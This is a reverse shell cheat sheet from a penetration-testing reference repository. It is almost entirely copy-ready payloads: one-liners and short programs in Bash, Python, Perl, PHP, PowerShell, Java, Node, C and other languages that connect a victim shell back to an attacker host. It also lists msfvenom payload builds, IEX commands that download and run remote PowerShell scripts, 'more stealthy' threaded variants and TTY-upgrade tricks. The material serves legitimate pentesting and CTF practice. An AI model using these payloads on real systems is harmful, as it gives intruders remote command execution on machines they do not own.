shell-reverse-cheatsheet.md (25337B)
1 --- 2 title: "Reverse Shell Cheat Sheet" 3 section: "Cheatsheets" 4 sectionSlug: "cheatsheets" 5 sourcePath: "docs/cheatsheets/shell-reverse-cheatsheet.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/cheatsheets/shell-reverse-cheatsheet.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # Reverse Shell Cheat Sheet 12 13 ## Summary 14 15 * [Tools](#tools) 16 * [Reverse Shell](#reverse-shell) 17 * [Awk](#awk) 18 * [Bash TCP](#bash-tcp) 19 * [Bash UDP](#bash-udp) 20 * [C](#c) 21 * [Dart](#dart) 22 * [Golang](#golang) 23 * [Groovy Alternative 1](#groovy-alternative-1) 24 * [Groovy](#groovy) 25 * [Java Alternative 1](#java-alternative-1) 26 * [Java Alternative 2](#java-alternative-2) 27 * [Java](#java) 28 * [Lua](#lua) 29 * [Ncat](#ncat) 30 * [Netcat OpenBsd](#netcat-openbsd) 31 * [Netcat BusyBox](#netcat-busybox) 32 * [Netcat Traditional](#netcat-traditional) 33 * [NodeJS](#nodejs) 34 * [OGNL](#ognl) 35 * [OpenSSL](#openssl) 36 * [Perl](#perl) 37 * [PHP](#php) 38 * [Powershell](#powershell) 39 * [Python](#python) 40 * [Ruby](#ruby) 41 * [Rust](#rust) 42 * [Socat](#socat) 43 * [Telnet](#telnet) 44 * [War](#war) 45 * [Meterpreter Shell](#meterpreter-shell) 46 * [Windows Staged reverse TCP](#windows-staged-reverse-tcp) 47 * [Windows Stageless reverse TCP](#windows-stageless-reverse-tcp) 48 * [Linux Staged reverse TCP](#linux-staged-reverse-tcp) 49 * [Linux Stageless reverse TCP](#linux-stageless-reverse-tcp) 50 * [Other platforms](#other-platforms) 51 * [Spawn TTY Shell](#spawn-tty-shell) 52 * [References](#references) 53 54 ## Tools 55 56 * [reverse-shell-generator](https://www.revshells.com/) - Hosted Reverse Shell generator ([source](https://github.com/0dayCTF/reverse-shell-generator))  57 * [revshellgen](https://github.com/t0thkr1s/revshellgen) - CLI Reverse Shell generator 58 59 ## Reverse Shell 60 61 ### Bash TCP 62 63 ```bash 64 bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 65 66 0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196 67 68 /bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1 69 ``` 70 71 ### Bash UDP 72 73 ```bash 74 Victim: 75 sh -i >& /dev/udp/10.0.0.1/4242 0>&1 76 77 Listener: 78 nc -u -lvp 4242 79 ``` 80 81 Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash 82 83 ### Socat 84 85 ```powershell 86 user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242 87 user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242 88 ``` 89 90 ```powershell 91 user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242 92 ``` 93 94 Static socat binary can be found at [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat) 95 96 ### Perl 97 98 ```perl 99 perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 100 101 perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' 102 103 104 NOTE: Windows only 105 perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' 106 ``` 107 108 ### Python 109 110 Linux only 111 112 IPv4 113 114 ```python 115 export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' 116 ``` 117 118 ```python 119 python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' 120 ``` 121 122 ```python 123 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' 124 ``` 125 126 ```python 127 python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())' 128 ``` 129 130 IPv4 (No Spaces) 131 132 ```python 133 python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' 134 ``` 135 136 ```python 137 python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' 138 ``` 139 140 ```python 141 python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())' 142 ``` 143 144 IPv4 (No Spaces, Shortened) 145 146 ```python 147 python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")' 148 ``` 149 150 ```python 151 python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])' 152 ``` 153 154 ```python 155 python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())' 156 ``` 157 158 IPv4 (No Spaces, Shortened Further) 159 160 ```python 161 python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")' 162 ``` 163 164 ```python 165 python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])' 166 ``` 167 168 ```python 169 python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())' 170 ``` 171 172 IPv6 173 174 ```python 175 python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' 176 ``` 177 178 IPv6 (No Spaces) 179 180 ```python 181 python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' 182 ``` 183 184 IPv6 (No Spaces, Shortened) 185 186 ```python 187 python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")' 188 ``` 189 190 Windows only (Python2) 191 192 ```powershell 193 python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" 194 ``` 195 196 Windows only (Python3) 197 198 ```powershell 199 python.exe -c "import socket,os,threading,subprocess as sp;p=sp.Popen(['cmd.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('10.0.0.1',4242));threading.Thread(target=exec,args=(\"while(True):o=os.read(p.stdout.fileno(),1024);s.send(o)\",globals()),daemon=True).start();threading.Thread(target=exec,args=(\"while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i)\",globals())).start()" 200 ``` 201 202 ### PHP 203 204 ```bash 205 php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");' 206 php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");' 207 php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;' 208 php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");' 209 php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");' 210 php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");' 211 ``` 212 213 ```bash 214 php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);' 215 ``` 216 217 ### Ruby 218 219 ```ruby 220 ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' 221 222 ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}' 223 224 NOTE: Windows only 225 ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' 226 ``` 227 228 ### Rust 229 230 ```rust 231 use std::net::TcpStream; 232 use std::os::unix::io::{AsRawFd, FromRawFd}; 233 use std::process::{Command, Stdio}; 234 235 fn main() { 236 let s = TcpStream::connect("10.0.0.1:4242").unwrap(); 237 let fd = s.as_raw_fd(); 238 Command::new("/bin/sh") 239 .arg("-i") 240 .stdin(unsafe { Stdio::from_raw_fd(fd) }) 241 .stdout(unsafe { Stdio::from_raw_fd(fd) }) 242 .stderr(unsafe { Stdio::from_raw_fd(fd) }) 243 .spawn() 244 .unwrap() 245 .wait() 246 .unwrap(); 247 } 248 ``` 249 250 ### Golang 251 252 ```bash 253 echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go 254 ``` 255 256 ### Netcat Traditional 257 258 ```bash 259 nc -e /bin/sh 10.0.0.1 4242 260 nc -e /bin/bash 10.0.0.1 4242 261 nc -c bash 10.0.0.1 4242 262 ``` 263 264 ### Netcat OpenBsd 265 266 ```bash 267 rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f 268 ``` 269 270 ### Netcat BusyBox 271 272 ```bash 273 rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f 274 ``` 275 276 ### Ncat 277 278 ```bash 279 ncat 10.0.0.1 4242 -e /bin/bash 280 ncat --udp 10.0.0.1 4242 -e /bin/bash 281 ``` 282 283 ### OpenSSL 284 285 Attacker: 286 287 ```powershell 288 user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes 289 user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242 290 or 291 user@attack$ ncat --ssl -vv -l -p 4242 292 293 user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s 294 ``` 295 296 TLS-PSK (does not rely on PKI or self-signed certificates) 297 298 ```bash 299 # generate 384-bit PSK 300 # use the generated string as a value for the two PSK variables from below 301 openssl rand -hex 48 302 # server (attacker) 303 export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; openssl s_server -quiet -tls1_2 -cipher PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-SHA256:PSK-AES128-CBC-SHA256 -psk $PSK -nocert -accept $LHOST:$LPORT 304 # client (victim) 305 export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; export PIPE="/tmp/`openssl rand -hex 4`"; mkfifo $PIPE; /bin/sh -i < $PIPE 2>&1 | openssl s_client -quiet -tls1_2 -psk $PSK -connect $RHOST:$RPORT > $PIPE; rm $PIPE 306 ``` 307 308 ### Powershell 309 310 ```powershell 311 powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() 312 ``` 313 314 ```powershell 315 powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" 316 ``` 317 318 ```powershell 319 powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1') 320 ``` 321 322 ### Awk 323 324 ```powershell 325 awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null 326 ``` 327 328 ### Java 329 330 ```java 331 Runtime r = Runtime.getRuntime(); 332 Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'"); 333 p.waitFor(); 334 335 ``` 336 337 #### Java Alternative 1 338 339 ```java 340 String host="127.0.0.1"; 341 int port=4444; 342 String cmd="cmd.exe"; 343 Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); 344 345 ``` 346 347 #### Java Alternative 2 348 349 **NOTE**: This is more stealthy 350 351 ```java 352 Thread thread = new Thread(){ 353 public void run(){ 354 // Reverse shell here 355 } 356 } 357 thread.start(); 358 ``` 359 360 ### Telnet 361 362 ```bash 363 In Attacker machine start two listeners: 364 nc -lvp 8080 365 nc -lvp 8081 366 367 In Victime machine run below command: 368 telnet <Your_IP> 8080 | /bin/sh | telnet <Your_IP> 8081 369 ``` 370 371 ### War 372 373 ```java 374 msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war 375 strings reverse.war | grep jsp # in order to get the name of the file 376 ``` 377 378 ### Lua 379 380 Linux only 381 382 ```powershell 383 lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');" 384 ``` 385 386 Windows and Linux 387 388 ```powershell 389 lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' 390 ``` 391 392 ### NodeJS 393 394 ```javascript 395 (function(){ 396 var net = require("net"), 397 cp = require("child_process"), 398 sh = cp.spawn("/bin/sh", []); 399 var client = new net.Socket(); 400 client.connect(4242, "10.0.0.1", function(){ 401 client.pipe(sh.stdin); 402 sh.stdout.pipe(client); 403 sh.stderr.pipe(client); 404 }); 405 return /a/; // Prevents the Node.js application from crashing 406 })(); 407 408 409 or 410 411 require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242') 412 413 or 414 415 -var x = global.process.mainModule.require 416 -x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash') 417 418 or 419 420 https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py 421 ``` 422 423 ### OGNL 424 425 ```java 426 (#a='echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjEnCg== | base64 -d | bash -i').(#b={'bash','-c',#a}).(#p=new java.lang.ProcessBuilder(#b)).(#process=#p.start()) 427 ``` 428 429 With `YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjEnCg==` decoding to `bash -c 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1'`, the payload within the single quotes might be changed by any Linux-compatible reverse shell. 430 431 ### Groovy 432 433 by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 434 NOTE: Java reverse shell also work for Groovy 435 436 ```java 437 String host="10.0.0.1"; 438 int port=4242; 439 String cmd="cmd.exe"; 440 Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); 441 ``` 442 443 #### Groovy Alternative 1 444 445 **NOTE**: This is more stealthy 446 447 ```java 448 Thread.start { 449 // Reverse shell here 450 } 451 ``` 452 453 ### C 454 455 Compile with `gcc /tmp/shell.c --output csh && csh` 456 457 ```csharp 458 #include <stdio.h> 459 #include <sys/socket.h> 460 #include <sys/types.h> 461 #include <stdlib.h> 462 #include <unistd.h> 463 #include <netinet/in.h> 464 #include <arpa/inet.h> 465 466 int main(void){ 467 int port = 4242; 468 struct sockaddr_in revsockaddr; 469 470 int sockt = socket(AF_INET, SOCK_STREAM, 0); 471 revsockaddr.sin_family = AF_INET; 472 revsockaddr.sin_port = htons(port); 473 revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1"); 474 475 connect(sockt, (struct sockaddr *) &revsockaddr, 476 sizeof(revsockaddr)); 477 dup2(sockt, 0); 478 dup2(sockt, 1); 479 dup2(sockt, 2); 480 481 char * const argv[] = {"/bin/sh", NULL}; 482 execve("/bin/sh", argv, NULL); 483 484 return 0; 485 } 486 ``` 487 488 ### Dart 489 490 ```java 491 import 'dart:io'; 492 import 'dart:convert'; 493 494 main() { 495 Socket.connect("10.0.0.1", 4242).then((socket) { 496 socket.listen((data) { 497 Process.start('powershell.exe', []).then((Process process) { 498 process.stdin.writeln(new String.fromCharCodes(data).trim()); 499 process.stdout 500 .transform(utf8.decoder) 501 .listen((output) { socket.write(output); }); 502 }); 503 }, 504 onDone: () { 505 socket.destroy(); 506 }); 507 }); 508 } 509 ``` 510 511 ## Meterpreter Shell 512 513 ### Windows Staged reverse TCP 514 515 ```powershell 516 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe 517 ``` 518 519 ### Windows Stageless reverse TCP 520 521 ```powershell 522 msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe 523 ``` 524 525 ### Linux Staged reverse TCP 526 527 ```powershell 528 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf 529 ``` 530 531 ### Linux Stageless reverse TCP 532 533 ```powershell 534 msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf 535 ``` 536 537 ### Other platforms 538 539 ```powershell 540 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf > shell.elf 541 msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe > shell.exe 542 msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho 543 msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp > shell.asp 544 msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp 545 msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war 546 msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py 547 msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh 548 msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl 549 msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php 550 ``` 551 552 ## Spawn TTY Shell 553 554 In order to catch a shell, you need to listen on the desired port. `rlwrap` will enhance the shell, allowing you to clear the screen with `[CTRL] + [L]`. 555 556 ```powershell 557 rlwrap nc 10.0.0.1 4242 558 559 rlwrap -r -f . nc 10.0.0.1 4242 560 -f . will make rlwrap use the current history file as a completion word list. 561 -r Put all words seen on in- and output on the completion list. 562 ``` 563 564 Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell. 565 566 :warning: OhMyZSH might break this trick, a simple `sh` is recommended 567 568 > The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect 569 570 ```powershell 571 ctrl+z 572 echo $TERM && tput lines && tput cols 573 574 # for bash 575 stty raw -echo 576 fg 577 578 # for zsh 579 stty raw -echo; fg 580 581 reset 582 export SHELL=bash 583 export TERM=xterm-256color 584 stty rows <num> columns <cols> 585 ``` 586 587 :warning: With Windows Terminal + WSL container, `[CTRL] + [Z]` can get you out of / freeze the container. 588 To overcome this issue, run `nc` in a `tmux`, and send a `SIGTSTP` signal to the `nc` process. 589 590 ```bash 591 # Enter in tmux 592 tmux 593 594 # Do your netcat stuff ... 595 nc -lnvp 4242 596 597 # Create a new window in tmux 598 ctrl+b c 599 600 # Find the PID of the nc process (column PID) 601 ps aux # | grep -i nc | grep -vi grep 602 603 # Send a SIGTSTP (ctrl+z) signal to the process 604 kill -s TSTP <PID> 605 ``` 606 607 or use `socat` binary to get a fully tty reverse shell 608 609 ```bash 610 socat file:`tty`,raw,echo=0 tcp-listen:12345 611 ``` 612 613 Alternatively, `rustcat` binary can automatically inject the TTY shell command. 614 615 The shell will be automatically upgraded and the TTY size will be provided for manual adjustment. 616 Not only that, upon exiting the shell, the terminal will be reset and thus usable. 617 618 ```bash 619 stty raw -echo; stty size && rcat l -ie "/usr/bin/script -qc /bin/bash /dev/null" 6969 && reset 620 ``` 621 622 Spawn a TTY shell from an interpreter 623 624 ```powershell 625 /bin/sh -i 626 python3 -c 'import pty; pty.spawn("/bin/sh")' 627 python3 -c "__import__('pty').spawn('/bin/bash')" 628 python3 -c "__import__('subprocess').call(['/bin/bash'])" 629 perl -e 'exec "/bin/sh";' 630 perl: exec "/bin/sh"; 631 perl -e 'print `/bin/bash`' 632 ruby: exec "/bin/sh" 633 lua: os.execute('/bin/sh') 634 ``` 635 636 * vi: `:!bash` 637 * vi: `:set shell=/bin/bash:shell` 638 * nmap: `!sh` 639 * mysql: `! bash` 640 641 Alternative TTY method 642 643 ```ps1 644 www-data@debian:/dev/shm$ su - user 645 su: must be run from a terminal 646 647 www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null 648 www-data@debian:/dev/shm$ su - user 649 Password: P4ssW0rD 650 651 user@debian:~$ 652 ``` 653 654 ## Fully interactive reverse shell on Windows 655 656 The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals. 657 658 **ConPtyShell uses the function [CreatePseudoConsole()](https://docs.microsoft.com/en-us/windows/console/createpseudoconsole). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).** 659 660 Server Side: 661 662 ```ps1 663 stty raw -echo; (stty size; cat) | nc -lvnp 3001 664 ``` 665 666 Client Side: 667 668 ```ps1 669 IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001 670 ``` 671 672 Offline version of the ps1 available at --> [antonioCoco/ConPtyShell/Invoke-ConPtyShell.ps1](https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1) 673 674 ## References 675 676 * [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner) 677 * [Pentest Monkey - Cheat Sheet Reverse shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) 678 * [Spawning a TTY Shell](http://netsec.ws/?p=337) 679 * [Obtaining a fully interactive shell](https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell)